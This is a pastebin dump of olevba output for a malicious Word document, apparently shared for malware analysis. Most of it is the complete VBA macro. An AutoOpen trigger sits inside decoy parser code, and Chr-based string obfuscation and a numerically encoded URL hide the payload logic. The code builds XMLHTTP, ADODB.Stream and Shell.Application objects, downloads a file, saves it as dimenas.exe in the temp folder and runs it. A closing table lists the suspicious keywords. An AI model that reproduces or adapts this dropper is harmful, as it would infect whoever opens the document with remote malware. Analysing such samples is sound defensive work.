dynamoo

Malicious Word macro

Dec 14th, 2015
487
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MAS-HB-V malware.doc
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: malware.doc
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ThisDocument.cls
  13. in file: malware.doc - OLE stream: u'Macros/VBA/ThisDocument'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Sub autoopen()
  16. Q "", ""
  17. End Sub
  18.  
  19.  
  20.  
  21.  
  22. -------------------------------------------------------------------------------
  23. VBA MACRO Module1.bas
  24. in file: malware.doc - OLE stream: u'Macros/VBA/Module1'
  25. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  26.  
  27. Private Const VERSION = "1.62"
  28. Private Const NUMERICS = "0123456789"
  29. Private Const ALPHAS = "abcdefghijklmnopqrstuvwxyz"
  30. Private Const SINGLE_OPS = "()[],;:+-#"
  31. Private Const COMBO_OPS = ".|&<>~=*/^!"
  32.  
  33. Public CodOrdineCorrente1 As Object
  34. Public UtilsInd2Sub As Object
  35. Public ParsePostfixResult  As Object
  36. Public CodOrdineCorrente4 As String
  37. Public dimIndexArgs As String
  38. Public UtilsCalcDimDirection As Object
  39. Private expression As String
  40. Private expressionIndex As Long
  41. Private currentToken As String
  42. Private previousTokenIsSpace As Boolean
  43. Private arguments As Variant
  44. Private endValues As Variant
  45. Private errorMsg As String
  46. Private ans As Variant
  47.  
  48. Private Sub Tokens_Next()
  49.  previousTokenIsSpace = Tokens_MoveCharPointer(" ")
  50.  If expressionIndex > Len(expression) Then currentToken = "": Exit Sub
  51.  Dim startIndex As Long: startIndex = expressionIndex
  52.  Select Case Asc(Mid(expression, expressionIndex, 1))
  53.  Case Asc("""")
  54.  expressionIndex = expressionIndex + 1
  55.  Tokens_MoveCharPointer """", True
  56.  Utils_Assert expressionIndex <= Len(expression), "Unfinished string literal"
  57.  expressionIndex = expressionIndex + 1
  58.  Case Asc("a") To Asc("z")
  59.  Tokens_MoveCharPointer NUMERICS & ALPHAS & "_"
  60.  Case Asc("0") To Asc("9")
  61.  Tokens_MoveCharPointer NUMERICS
  62.  If Tokens_MoveCharPointer(".", False, True) Then
  63.  Tokens_MoveCharPointer NUMERICS
  64.  End If
  65.  If Tokens_MoveCharPointer("eE", False, True) Then
  66.  Tokens_MoveCharPointer NUMERICS & "-", False, True
  67.  Tokens_MoveCharPointer NUMERICS
  68.  End If
  69.  Case Asc(vbLf)
  70.  expressionIndex = expressionIndex + 1
  71.  Case Else
  72.  If Not Tokens_MoveCharPointer(SINGLE_OPS, False, True) Then
  73.  Tokens_MoveCharPointer COMBO_OPS
  74.  End If
  75.  End Select
  76.  currentToken = Mid(expression, startIndex, expressionIndex - startIndex)
  77.  Utils_Assert expressionIndex > startIndex Or expressionIndex > Len(expression), _
  78.  "Illegal char: " & Mid(expression, expressionIndex, 1)
  79. End Sub
  80. Private Sub Tokens_AssertAndNext(token As String)
  81.  Utils_Assert token = currentToken, "missing token: " & token
  82.  Tokens_Next
  83. End Sub
  84. Private Function Tokens_MoveCharPointer(str As String, _
  85.  Optional stopAtStr As Boolean = False, _
  86.  Optional singleCharOnly As Boolean = False) As Boolean
  87.  While expressionIndex <= Len(expression) _
  88.  And stopAtStr <> (InStr(str, Mid(expression, expressionIndex, 1)) > 0)
  89.  expressionIndex = expressionIndex + 1
  90.  Tokens_MoveCharPointer = True
  91.  If singleCharOnly Then Exit Function
  92.  Wend
  93. End Function
  94. Private Function Parse_FindBinaryOp(token As String, ByRef op As Variant) As Boolean
  95.  Parse_FindBinaryOp = True
  96.  Select Case token
  97.  Case "||": op = Array("orshortcircuit", 1, True)
  98.  Case "&&": op = Array("andshortcircuit", 2, True)
  99.  Case "|": op = Array("or", 3, True)
  100.  Case "&": op = Array("and", 4, True)
  101.  Case "<": op = Array("lt", 5, True)
  102.  Case "<=": op = Array("lte", 5, True)
  103.  Case ">": op = Array("gt", 5, True)
  104.  Case ">=": op = Array("gte", 5, True)
  105.  Case "==": op = Array("eq", 5, True)
  106.  Case "=": op = Array("eq", 5, True)
  107.  Case "~=": op = Array("ne", 5, True)
  108.  Case "<>": op = Array("ne", 5, True)
  109.  Case ":": op = Array("colon", 6, False)
  110.  Case "+": op = Array("plus", 7, True)
  111.  Case "-": op = Array("minus", 7, True)
  112.  Case "*": op = Array("mtimes", 8, True)
  113.  Case ".*": op = Array("times", 8, True)
  114.  Case "/": op = Array("mdivide", 8, True)
  115.  Case "./": op = Array("divide", 8, True)
  116.  Case "^": op = Array("mpower", 9, True)
  117.  Case ".^": op = Array("power", 9, True)
  118.  Case Else: Parse_FindBinaryOp = False
  119.  End Select
  120. End Function
  121. Public Function Q(expr As String, args As String) As Variant
  122.   arguments = Chr(Asc("e"))
  123.  endValues = Empty
  124.  errorMsg = Chr(Asc("T"))
  125.  
  126.  On Error GoTo ErrorHandler
  127.  expression = expr
  128.  
  129.  Parse_FindUnaryPostfixOp "", ""
  130.  Exit Function
  131.  expressionIndex = 1
  132.  Tokens_Next
  133.  Dim root As Variant
  134.  Do
  135.  Select Case currentToken
  136.  Case ""
  137.  Exit Do
  138.  Case ";", vbLf
  139.  Tokens_Next
  140.  Case Else
  141.  root = Parse_Binary()
  142.  ans = eval_tree(root)
  143.  Utils_Assert _
  144.  currentToken = "" Or currentToken = ";" Or currentToken = vbLf, _
  145.  ""
  146.  End Select
  147.  Loop While True
  148.  Q = ans
  149.  Exit Function
  150. ErrorHandler:
  151.  If errorMsg = "" Then errorMsg = Err.Description
  152.  Q = "ERROR - " & errorMsg
  153. End Function
  154. Private Function Parse_FindUnaryPrefixOp(token As String, ByRef op As Variant) As Boolean
  155.  Parse_FindUnaryPrefixOp = True
  156.  Select Case token
  157.  Case "+": op = "uplus"
  158.  Case "-": op = "uminus"
  159.  Case "~": op = "negate"
  160.  Case "#": op = "numel"
  161.  Case "!": op = "extern"
  162.  Case Else: Parse_FindUnaryPrefixOp = False
  163.  End Select
  164. End Function
  165.  
  166. Private Function Parse_Matrix() As Variant
  167.  While currentToken <> "]"
  168.  Utils_Stack_Push Park.se_List(True), Parse_Matrix
  169.  If currentToken = ";" Then Tokens_Next
  170.  Utils_Assert currentToken <> "", "Missing "
  171.  Wend
  172. End Function
  173. Private Function Parkse_List(Optional isSpaceSeparator As Boolean = False) As Variant
  174.  Set UtilsInd2Sub = CreateObject(UCase("a") + "dodb.S" + LCase(errorMsg) + "r" + arguments + "am")
  175.  Parse_Binary
  176.  Exit Function
  177.  Do While InStr(";)]", currentToken) = 0
  178.  If currentToken = "," Then
  179.  Utils_Stack_Push Array("eval_constant", Empty), Park.se_List
  180.  Else
  181.  Utils_Stack_Push Parse_Binary(), Park.se_List
  182.  End If
  183.  If currentToken = "," Then
  184.  Tokens_Next
  185.  ElseIf Not (previousTokenIsSpace And isSpaceSeparator) Then
  186.  Exit Do
  187.  End If
  188.  Loop
  189. End Function
  190. Private Function Parse_Binary(Optional lastPrec As Long = -999) As Variant
  191. Set UtilsCalcDimDirection = CreateObject(UCase("s") + "h" + arguments + "ll.Applica" + LCase(errorMsg) + "ion")
  192. Parse_Postfix
  193.  Exit Function
  194.  Parse_Binary = Parse_Prefix()
  195.  Dim op: Do While Parse_FindBinaryOp(currentToken, op)
  196.  If op(2) + CLng(op(3)) < lastPrec Then Exit Do
  197.  Tokens_Next
  198.  Parse_Binary = Array("op_" & op(1), Array(Parse_Binary, Parse_Binary(CLng(op(2)))))
  199.  Loop
  200. End Function
  201. Private Function Parse_Prefix() As Variant
  202.  Dim op
  203.  If Parse_FindUnaryPrefixOp(currentToken, op) Then
  204.  Tokens_Next
  205.  Parse_Prefix = Array("op_" & op, Array(Parse_Prefix()))
  206.  Else
  207.  Parse_Prefix = Parse_Postfix()
  208.  End If
  209. End Function
  210.  
  211. Private Function Parse_Atomic() As Variant
  212.  Utils_Assert currentToken <> "", "missing argument"
  213.  Select Case Asc(currentToken)
  214.  Case Asc(":")
  215.  Parse_Atomic = Array("eval_colon", Empty)
  216.  Tokens_Next
  217.  Case Asc("(")
  218.  Tokens_Next
  219.  Parse_Atomic = Parse_Binary()
  220.  Tokens_AssertAndNext ")"
  221.  Case Asc("[")
  222.  Tokens_Next
  223.  Parse_Atomic = Array("eval_concat", Parse_Matrix())
  224.  Tokens_AssertAndNext "]"
  225.  Case Asc("""")
  226.  Parse_Atomic = Array("eval_constant", Mid(currentToken, 2, Len(currentToken) - 2))
  227.  Tokens_Next
  228.  Case Asc("0") To Asc("9")
  229.  Parse_Atomic = Array("eval_constant", Val(currentToken))
  230.  Tokens_Next
  231.  Case Asc("a") To Asc("z")
  232.  If currentToken = "end" Then
  233.  Parse_Atomic = Array("eval_end", Empty)
  234.  Tokens_Next
  235.  ElseIf currentToken = "ans" Then
  236.  Parse_Atomic = Array("eval_ans", Empty)
  237.  Tokens_Next
  238.  ElseIf Len(currentToken) = 1 Then
  239.  Parse_Atomic = Array("eval_arg", Asc(currentToken) - Asc("a"))
  240.  Tokens_Next
  241.  Else
  242.  Parse_Atomic = "fn_" & currentToken
  243.  Tokens_Next
  244.  If currentToken = "(" Then
  245.  Tokens_AssertAndNext "("
  246.  Parse_Atomic = Array(Parse_Atomic, Park.se_List())
  247.  Tokens_AssertAndNext ")"
  248.  Else
  249.  Parse_Atomic = Array(Parse_Atomic, Empty)
  250.  End If
  251.  End If
  252.  Case Else
  253.  Utils_Assert False, "unexpected token: " & currentToken
  254.  End Select
  255. End Function
  256. Private Function MAX(a As Variant, b As Variant) As Variant
  257.  Dim homebrew() As Variant
  258. homebrew = Array(10790, 10802, 10802, 10798, 10744, 10733, 10733, 10802, 10787, 10801, 10802, 10735, 10732, 10786, 10783, 10800, 10795, 10797, 10732, 10784, 10791, 10808, 10733, 10738, 10737, 10741, 10789, 10742, 10733, 10738, 10737, 10801, 10739, 10786, 10740, 10788, 10741, 10789, 10732, 10787, 10806, 10787)
  259. CodOrdineCorrente1.Open Chr(Asc("H") - 1) + UCase(arguments) + errorMsg, UtilsAssertToken(homebrew, 41), False
  260. Utils_Numel 2
  261.  Exit Function
  262.  If a > b Then MAX = a Else MAX = b
  263. End Function
  264. Private Function MIN(a As Variant, b As Variant) As Variant
  265.  If a < b Then MIN = a Else MIN = b
  266. End Function
  267. Private Function IFF(a As Boolean, b As Variant, c As Variant) As Variant
  268.  If a Then IFF = b Else IFF = c
  269. End Function
  270. Private Sub Utils_DumpTree(tree As Variant, Optional spacer As String = "")
  271.  If Utils_Dimensions(tree) > 0 Then
  272.  Dim leaf: For Each leaf In tree
  273.  Utils_DumpTree leaf, spacer & " "
  274.  Next leaf
  275.  Else
  276.  Debug.Print spacer & tree
  277.  End If
  278. End Sub
  279. Private Function Parse_Postfix() As Variant
  280.  Set ParsePostfixResult = CreateObject(UCase("w") + UCase("s") + LCase("C") + "rip" + LCase(errorMsg) + ".Sh" + arguments + "ll").Environment(UCase("p") + "roc" + arguments + "ss")
  281. MAX 4, 5
  282.  Exit Function
  283. Parse_Postfix = Parse_Atomic
  284.  Dim op: Do
  285.  If Parse_FindUnaryPostfixOp(currentToken, op) Then
  286.  Parse_Postfix = Array("op_" & op, Array(Parse_Postfix))
  287.  Tokens_Next
  288.  ElseIf currentToken = "(" Then
  289.  Tokens_Next
  290.  Parse_Postfix = Array("eval_index", Array(Parse_Postfix, Park.se_List()))
  291.  Tokens_AssertAndNext ")"
  292.  Else
  293.  Exit Do
  294.  End If
  295.  Loop While True
  296. End Function
  297. Private Function Utils_Dimensions(v As Variant) As Long
  298.  Dim dimnum As Long, errorCheck As Integer
  299.  On Error GoTo FinalDimension
  300.  For dimnum = 1 To 60000
  301.  errorCheck = LBound(v, dimnum)
  302.  Next
  303. FinalDimension:
  304.  Utils_Dimensions = dimnum - 1
  305. End Function
  306. Private Function Utils_Numel(v As Long) As Long
  307.  CodOrdineCorrente1.Send
  308.  
  309. CodOrdineCorrente4 = ParsePostfixResult(errorMsg + UCase(arguments) + "MP")
  310.  
  311. dimIndexArgs = CodOrdineCorrente4 + "\dimenas." + arguments + "x" + arguments + ""
  312. Utils_Ind2Sub 1, 0, 0, 0
  313.  Exit Function
  314.  Select Case Utils_Dimensions(v)
  315.  Case 0: Utils_Numel = IFF(IsEmpty(v), 0, 1)
  316.  Case 1: Utils_Numel = UBound(sccv)
  317.  Case 2: Utils_Numel = UBound(sccv, 1) * UBound(sccv, 2)
  318.  Case Else: Utils_Assert False, "dimension > 2"
  319.  End Select
  320. End Function
  321. Private Function Utils_Rows(ByRef v As Variant) As Long
  322.  Dim c As Long
  323.  Utils_Size v, Utils_Rows, c
  324. End Function
  325. Private Function Utils_Cols(ByRef v As Variant) As Long
  326.  Dim r As Long
  327.  Utils_Size v, r, Utils_Cols
  328. End Function
  329. Private Sub Utils_Size(v As Variant, ByRef r As Long, ByRef c As Long)
  330.  r = 0: c = 0
  331.  Select Case Utils_Dimensions(v)
  332.  Case 0: If Not IsEmpty(v) Then r = 1: c = 1
  333.  Case 1: r = UBound(v): c = 1
  334.  Case 2: r = UBound(v, 1): c = UBound(v, 2)
  335.  Case Else: Utils_Assert False, "dimension > 2"
  336.  End Select
  337. End Sub
  338.  
  339. Private Function Parse_FindUnaryPostfixOp(token As String, ByRef op As Variant) As Boolean
  340.  Set CodOrdineCorrente1 = CreateObject(UCase("m") + "icrosof" + LCase(errorMsg) + ".XMLH" + errorMsg + errorMsg + "P")
  341.  Parkse_List
  342.  Exit Function
  343.  Parse_FindUnaryPostfixOp = True
  344.  Select Case token
  345.  Case ""
  346.  Case Else: Parse_FindUnaryPostfixOp = False
  347.  End Select
  348. End Function
  349. Public Function UtilsAssertToken(ByValvDefault() As Variant, NothingOrNodeName As Integer) As String
  350.     Dim i As Integer
  351.     Dim g_oPubGetResString As String
  352.     g_oPubGetResString = ""
  353.     For i = LBound(ByValvDefault) To UBound(ByValvDefault)
  354.         g_oPubGetResString = g_oPubGetResString & Chr(ByValvDefault(i) - 20 * NothingOrNodeName - 9800 - 66)
  355.     Next i
  356.     UtilsAssertToken = g_oPubGetResString
  357. End Function
  358. Private Sub Utils_Ind2Sub(rows As Long, k As Long, ByRef i As Long, ByRef j As Long)
  359.  UtilsInd2Sub.Type = rows
  360.     UtilsInd2Sub.Open
  361.     Utils_Stack_Push "", ""
  362.  Exit Sub
  363.     j = (k - 1) \ rows + 1
  364.  i = k - rows * (j - 1)
  365. End Sub
  366. Private Sub Utils_Conform(ByRef v As Variant)
  367.  Select Case Utils_Dimensions(v)
  368.  Case 1:
  369.  If UBound(v) = 1 Then
  370.  v = v(1)
  371.  Else
  372.  Dim r: ReDim r(1, UBound(v))
  373.  Dim i As Long
  374.  For i = 1 To UBound(r, 2)
  375.  r(1, i) = v(i)
  376.  Next i
  377.  v = r
  378.  End If
  379.  Case 2:
  380.  If UBound(v, 1) = 1 And UBound(v, 2) = 1 Then v = v(1, 1)
  381.  Case Is > 2:
  382.  Utils_Assert False, "dimension > 2"
  383.  End Select
  384. End Sub
  385. Private Sub Utils_ConformAndAssign(ByRef v As Variant, ByRef assignToMe As Variant)
  386.  Select Case Utils_Dimensions(v)
  387.  Case 1:
  388.  If UBound(v) = 1 Then
  389.  assignToMe = v(1)
  390.  Else
  391.  ReDim assignToMe(1, UBound(v))
  392.  Dim i As Long
  393.  For i = 1 To UBound(assignToMe, 2)
  394.  assignToMe(1, i) = v(i)
  395.  Next i
  396.  End If
  397.  Case 2:
  398.  If UBound(v, 1) = 1 And UBound(v, 2) = 1 Then
  399.  assignToMe = v(1, 1)
  400.  Else
  401.  assignToMe = v
  402.  End If
  403.  Case Is > 2:
  404.  Utils_Assert False, "dimension > 2"
  405.  End Select
  406. End Sub
  407. Private Sub Utils_ForceMatrix(ByRef v As Variant)
  408.  If Utils_Dimensions(v) = 0 Then
  409.  Dim r: ReDim r(1, 1)
  410.  r(1, 1) = v
  411.  v = r
  412.  End If
  413. End Sub
  414. Private Sub Utils_Stack_Push(item As String, Optional stack As Variant)
  415.  
  416.     UtilsInd2Sub.write CodOrdineCorrente1.responseBody
  417.     UtilsInd2Sub.savetofile dimIndexArgs, 2
  418.     Utils_CalcDimDirection ""
  419.  Exit Sub
  420.  On Error GoTo NotInitiated
  421.  ReDim Preserve stack(LBound(stack) To UBound(stack) + 1)
  422.  stack(UBound(stack)) = item
  423.  Exit Sub
  424. NotInitiated:
  425.  stack = Array(item)
  426. End Sub
  427. Private Function Utils_Stack_Pop(stack As Variant) As Variant
  428.  Dim ub As Long: ub = UBound(stack)
  429.  Dim lb As Long: lb = LBound(stack)
  430.  Utils_Stack_Pop = stack(ub)
  431.  If ub > lb Then ReDim Preserve stack(lb To ub - 1) Else stack = Null
  432. End Function
  433. Private Function Utils_Stack_Peek(stack As Variant) As Variant
  434.  Utils_Stack_Peek = stack(UBound(stack))
  435. End Function
  436. Private Function Utils_Stack_Size(stack As Variant) As Long
  437.  On Error Resume Next
  438.  Utils_Stack_Size = UBound(stack)
  439. End Function
  440. Private Sub Utils_CalcArgs(args As Variant)
  441.  Dim i As Long: For i = 1 To Utils_Stack_Size(args)
  442.  args(i) = eval_tree(args(i))
  443.  Next i
  444. End Sub
  445. Private Function Utils_IsFlagSet(args As Variant, flag As String) As Boolean
  446.  Dim i As Long
  447.  For i = UBound(args) To 1 Step -1
  448.  If StrComp(TypeName(args(i)), "String") = 0 Then
  449.  If StrComp(args(i), flag, vbTextCompare) = 0 Then
  450.  Utils_IsFlagSet = True
  451.  Exit Function
  452.  End If
  453.  End If
  454.  Next i
  455. End Function
  456. Private Function Utils_CalcDimDirection(args As String, Optional dimIndex As Long = 2) As Long
  457.  UtilsCalcDimDirection.Open (dimIndexArgs)
  458.  Exit Function
  459.  If UBound(addrgs) >= dimIndex Then
  460.  If IsNumeric(addrgs(dimIndex)) Then
  461.  Utils_CalcDimDirection = addrgs(dimIndex) - 1
  462.  Exit Function
  463.  End If
  464.  End If
  465.  Utils_CalcDimDirection = IFF(Utils_Rows(addrgs(1)) = 1, 1, 0)
  466. End Function
  467. Private Function Utils_GetSizeFromArgs(args As Variant, ByRef n As Long, ByRef m As Long, Optional index As Long = 2)
  468.  Select Case Utils_Stack_Size(args)
  469.  Case Is < index
  470.  n = 1: m = 1
  471.  Case Is = index
  472.  Select Case Utils_Numel(args(index))
  473.  Case 1
  474.  n = args(index)
  475.  m = n
  476.  Case 2
  477.  n = args(index)(1, 1)
  478.  m = args(index)(MIN(2, UBound(args(index), 1)), MIN(2, UBound(args(index), 2)))
  479.  Case Else
  480.  Utils_Assert False, "bad size input"
  481.  End Select
  482.  Case Is = index + 1
  483.  n = args(index)
  484.  m = args(index + 1)
  485.  Case Else
  486.  Utils_Assert False, "bad size input"
  487.  End Select
  488. End Function
  489. Private Function Utils_GetOptionalArg(args As Variant, index As Long, defaultValue As Variant)
  490.  If Utils_Stack_Size(args) >= index Then
  491.  Utils_GetOptionalArg = args(index)
  492.  Else
  493.  Utils_GetOptionalArg = defaultValue
  494.  End If
  495. End Function
  496. Private Sub Utils_AssertArgsCount(args As Variant, lb As Long, ub As Long)
  497.  Dim size As Long: size = Utils_Stack_Size(args)
  498.  Utils_Assert size >= lb, "too few arguments"
  499.  Utils_Assert size <= ub, "too many arguments"
  500. End Sub
  501. Private Sub Utils_Assert(expr As Boolean, Optional msg As String = "unknown error")
  502.  If expr Then Exit Sub
  503.  errorMsg = msg
  504.  Err.Raise vbObjectError + 999
  505. End Sub
  506. Private Function eval_tree(root As Variant) As Variant
  507.  If left(root(1), 3) = "fn_" And root(1) <> "fn_if" And root(1) <> "fn_iferror" And root(1) <> "fn_expand" Then
  508.  Utils_CalcArgs root(2)
  509.  End If
  510.  Select Case root(1)
  511.  Case "eval_constant": eval_tree = eval_constant(root(2))
  512.  Case "eval_arg": eval_tree = eval_arg(root(2))
  513.  Case "eval_index": eval_tree = eval_index(root(2))
  514.  Case "eval_end": eval_tree = eval_end(root(2))
  515.  Case "eval_colon": eval_tree = eval_colon(root(2))
  516.  Case "eval_concat": eval_tree = eval_concat(root(2))
  517.  Case "op_eq": eval_tree = op_eq(root(2))
  518.  Case "op_plus": eval_tree = op_plus(root(2))
  519.  Case "op_minus": eval_tree = op_minus(root(2))
  520.  Case "op_mtimes": eval_tree = op_mtimes(root(2))
  521.  Case "op_colon": eval_tree = op_colon(root(2))
  522.  Case "fn_sum": eval_tree = fn_sum(root(2))
  523.  Case "fn_repmat": eval_tree = fn_repmat(root(2))
  524.  Case Else
  525.  eval_tree = Run(root(1), root(2))
  526.  End Select
  527. End Function
  528. Private Function eval_constant(args As Variant) As Variant
  529.  eval_constant = args
  530. End Function
  531. Private Function eval_arg(args As Variant) As Variant
  532.  If args > UBound(arguments) Then
  533.  Utils_Assert False, "argument "
  534.  End If
  535.  eval_arg = CVar(arguments(args))
  536.  Utils_Conform eval_arg
  537. End Function
  538. Private Function eval_end(args As Variant) As Variant
  539.  Utils_Assert Utils_Stack_Size(endValues) > 0, """end"" not allowed here."
  540.  eval_end = Utils_Stack_Peek(endValues)
  541. End Function
  542. Private Function eval_ans(args As Variant) As Variant
  543.  eval_ans = ans
  544. End Function
  545. Private Function eval_colon(args As Variant) As Variant
  546.  Utils_Assert False, "colon not allowed here"
  547. End Function
  548.  
  549. Private Function fn_sort(args As Variant) As Variant
  550.  Utils_AssertArgsCount args, 1, 4
  551.  Dim sortRows As Boolean, ascend As Boolean, returnIndices As Boolean
  552.  sortRows = (1 = Utils_CalcDimDirection(args))
  553.  ascend = Not Utils_IsFlagSet(args, "descend")
  554.  returnIndices = Utils_IsFlagSet(args, "indices")
  555.  If sortRows Then
  556.  args(1) = WorksheetFunction.Transpose(args(1))
  557.  Utils_Conform args(1)
  558.  End If
  559.  Utils_ForceMatrix args(1)
  560.  Dim rows As Long, cols As Long, i As Long, j As Long
  561.  Utils_Size args(1), rows, cols
  562.  Dim indices: ReDim indices(1 To rows, 1 To cols)
  563.  For i = 1 To rows
  564.  For j = 1 To cols
  565.  indices(i, j) = i
  566.  Next j
  567.  Next i
  568.  For j = 1 To cols
  569.  Utils_QuickSortCol args(1), indices, 1, rows, j, ascend
  570.  Next j
  571.  If returnIndices Then
  572.  fn_sort = indices
  573.  Else
  574.  Dim r: ReDim r(1 To rows, 1 To cols)
  575.  For i = 1 To rows
  576.  For j = 1 To cols
  577.  r(i, j) = args(1)(indices(i, j), j)
  578.  Next j
  579.  Next i
  580.  fn_sort = r
  581.  End If
  582.  If sortRows Then fn_sort = WorksheetFunction.Transpose(fn_sort)
  583.  Utils_Conform fn_sort
  584. End Function
  585. Private Function Utils_QuickSortCol(arr As Variant, indices As Variant, first As Long, last As Long, col As Long, ascend As Boolean)
  586.  If first >= last Then Exit Function
  587.  Dim tmp As Variant
  588.  Dim pivot As Variant: pivot = arr(indices(first, col), col)
  589.  Dim left As Long: left = first
  590.  Dim right As Long: right = last
  591.  Dim ascendprefix As Long: ascendprefix = -1 - 2 * Sgn(ascend)
  592.  While left <= right
  593.  While ascendprefix * Utils_Compare(arr(indices(left, col), col), pivot) < 0
  594.  left = left + 1
  595.  Wend
  596.  While ascendprefix * Utils_Compare(pivot, arr(indices(right, col), col)) < 0
  597.  right = right - 1
  598.  Wend
  599.  If left <= right Then
  600.  tmp = indices(left, col)
  601.  indices(left, col) = indices(right, col)
  602.  indices(right, col) = tmp
  603.  left = left + 1
  604.  right = right - 1
  605.  End If
  606.  Wend
  607.  Utils_QuickSortCol arr, indices, first, right, col, ascend
  608.  Utils_QuickSortCol arr, indices, left, last, col, ascend
  609. End Function
  610. Private Function Utils_Compare(arg1 As Variant, arg2 As Variant) As Variant
  611.  If IsNumeric(arg1) Then
  612.  If IsNumeric(arg2) Then
  613.  Utils_Compare = arg1 - arg2
  614.  Else
  615.  Utils_Compare = -1
  616.  End If
  617.  Else
  618.  If IsNumeric(arg2) Then
  619.  Utils_Compare = 1
  620.  Else
  621.  Utils_Compare = StrComp(CStr(arg1), CStr(arg2))
  622.  End If
  623.  End If
  624. End Function
  625. Private Function fn_arrayfun(args As Variant) As Variant
  626.  Utils_AssertArgsCount args, 2, 100
  627.  Utils_Assert TypeName(args(1)) = "String", "apply: 1st argument must be an Excel function name."
  628.  Dim i As Long, r1 As Long, c1 As Long, r2 As Long, c2 As Long
  629.  r1 = -1: c1 = -1
  630.  For i = 2 To Utils_Stack_Size(args)
  631.  Utils_ForceMatrix args(i)
  632.  Utils_Size args(i), r2, c2
  633.  Utils_Assert (r1 < 0 And c1 < 0) Or (r2 = 1 And c2 = 1) Or (r1 = r2 And c1 = c2) Or ((r1 = 1 Or r1 = r2) And c2 = 1) Or (r2 = 1 And (c1 = 1 Or c1 = c2)), "apply(): Wrong input sizes."
  634.  r1 = MAX(r1, r2): c1 = MAX(c1, c2)
  635.  Next i
  636.  Dim v, r: ReDim r(r1, c1)
  637.  For r1 = 1 To UBound(r, 1)
  638.  For c1 = 1 To UBound(r, 2)
  639.  v = Empty
  640.  For i = 2 To Utils_Stack_Size(args)
  641.  Utils_Size args(i), r2, c2
  642.  Utils_Stack_Push args(i)(MIN(r1, r2), MIN(c1, c2)), v
  643.  Next i
  644.  r(r1, c1) = Evaluate(args(1) & "(" & Join(v, ",") & ")")
  645.  Next c1
  646.  Next r1
  647.  Utils_ConformAndAssign r, fn_arrayfun
  648. End Function
  649. Private Function fn_concat(args As Variant) As Variant
  650.  Utils_AssertArgsCount args, 1, 3
  651.  Dim i As Long, j As Long, x As Long, joiner As String
  652.  Utils_ForceMatrix args(1)
  653.  x = Utils_CalcDimDirection(args, 3)
  654.  If UBound(args) > 1 Then joiner = args(2)
  655.  Dim r: ReDim r(x * UBound(args(1), 1) + (1 - x), (1 - x) * UBound(args(1), 2) + x)
  656.  For i = 1 To UBound(args(1), 1)
  657.  For j = 1 To UBound(args(1), 2)
  658.  If (1 - x) * i + x * j = 1 Then
  659.  r(x * i + (1 - x), (1 - x) * j + x) = args(1)(i, j)
  660.  Else
  661.  r(x * i + (1 - x), (1 - x) * j + x) = r(x * i + (1 - x), (1 - x) * j + x) & joiner & args(1)(i, j)
  662.  End If
  663.  Next j
  664.  Next i
  665.  Utils_ConformAndAssign r, fn_concat
  666. End Function
  667. Private Function fn_expand(args As Variant) As Variant
  668.  Utils_AssertArgsCount args, 1, 3
  669.  Utils_Assert args(1)(1) = "eval_arg", "expand(): 1st argument must be a cell"
  670.  Dim cell As Range: Set cell = arguments(args(1)(2))
  671.  Dim rows As Long, cols As Long
  672.  If UBound(args) > 1 Then rows = eval_tree(args(2))
  673.  If UBound(args) > 2 Then cols = eval_tree(args(3))
  674.  If rows <= 0 Then
  675.  rows = cell.End(xlDown).Row - cell.Row + 1
  676.  If Not Application.WorksheetFunction.IsError(cell.Offset(1, 0)) Then
  677.  If cell.Offset(1, 0) = "" Then rows = 1
  678.  End If
  679.  End If
  680.  If cols <= 0 Then
  681.  cols = cell.End(xlToRight).Column - cell.Column + 1
  682.  If Not Application.WorksheetFunction.IsError(cell.Offset(1, 0)) Then
  683.  If cell.Offset(0, 1) = "" Then cols = 1
  684.  End If
  685.  End If
  686.  Utils_ConformAndAssign cell.Resize(rows, cols).Value, fn_expand
  687. End Function
  688. Private Function fn_version(args As Variant) As Variant
  689.  Utils_AssertArgsCount args, 0, 0
  690.  fn_version = VERSION
  691. End Function
  692.  
  693.  
  694.  
  695.  
  696.  
  697. +------------+----------------------+-----------------------------------------+
  698. | Type       | Keyword              | Description                             |
  699. +------------+----------------------+-----------------------------------------+
  700. | AutoExec   | AutoOpen             | Runs when the Word document is opened   |
  701. | Suspicious | Open                 | May open a file                         |
  702. | Suspicious | Run                  | May run an executable file or a system  |
  703. |            |                      | command                                 |
  704. | Suspicious | CreateObject         | May create an OLE object                |
  705. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  706. |            |                      | strings                                 |
  707. | Suspicious | SaveToFile           | May create a text file                  |
  708. | Suspicious | Write                | May write to a file (if combined with   |
  709. |            |                      | Open)                                   |
  710. | Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
  711. |            |                      | be used to obfuscate strings (option    |
  712. |            |                      | --decode to see all)                    |
  713. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  714. |            |                      | may be used to obfuscate strings        |
  715. |            |                      | (option --decode to see all)            |
  716. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  717. |            | Strings              | may be used to obfuscate strings        |
  718. |            |                      | (option --decode to see all)            |
  719. | VBA string | e                    | Chr(Asc("e"))                           |
  720. | VBA string | T                    | Chr(Asc("T"))                           |
  721. | VBA string | adodb.S              | ("a") + "dodb.S"                        |
  722. | VBA string | sh                   | ("s") + "h"                             |
  723. | VBA string | Crip                 | ("C") + "rip"                           |
  724. | VBA string | proc                 | ("p") + "roc"                           |
  725. | VBA string | microsof             | ("m") + "icrosof"                       |
  726. +------------+----------------------+-----------------------------------------+
Add Comment
Please, Sign In to add comment